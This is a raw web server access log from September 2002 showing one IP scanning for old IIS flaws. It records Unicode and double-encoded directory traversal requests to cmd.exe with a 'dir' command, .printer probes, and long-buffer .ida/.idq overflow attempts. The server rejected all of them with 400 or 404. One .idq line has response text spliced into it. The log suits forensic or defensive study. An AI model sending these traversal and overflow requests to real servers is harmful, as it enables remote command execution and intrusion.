[15/Sep/2002:15:11:38 +0300] "HEAD /scripts/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /scripts/..%u002f../..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /scripts/..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /scripts/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:39 +0300] "HEAD /scripts/..%u005c../..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:39 +0300] "HEAD /scripts/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:39 +0300] "HEAD /scripts/..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:39 +0300] "HEAD /scripts/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:39 +0300] "HEAD /scripts/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:39 +0300] "HEAD /scripts/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:39 +0300] "HEAD /scripts/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:41 +0300] "HEAD /scripts/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:41 +0300] "HEAD /scripts/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:41 +0300] "HEAD /scripts/..%u00255c../..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:41 +0300] "HEAD /scripts/..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:41 +0300] "HEAD /scripts/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:42 +0300] "GET /NULL.printer HTTP/1.1" 404 218 172.186.74.249 - - [15/Sep/2002:15:11:43 +0300] "GET /NULL.ida?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=a HTTP/1.0" 404 202 172.186.74.249 - - [15/Sep/2002:15:11:45 +0300] "GET /NULL.idq?HTTP/1.1 404 Not FouAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=a HTTP/1.0" 404 202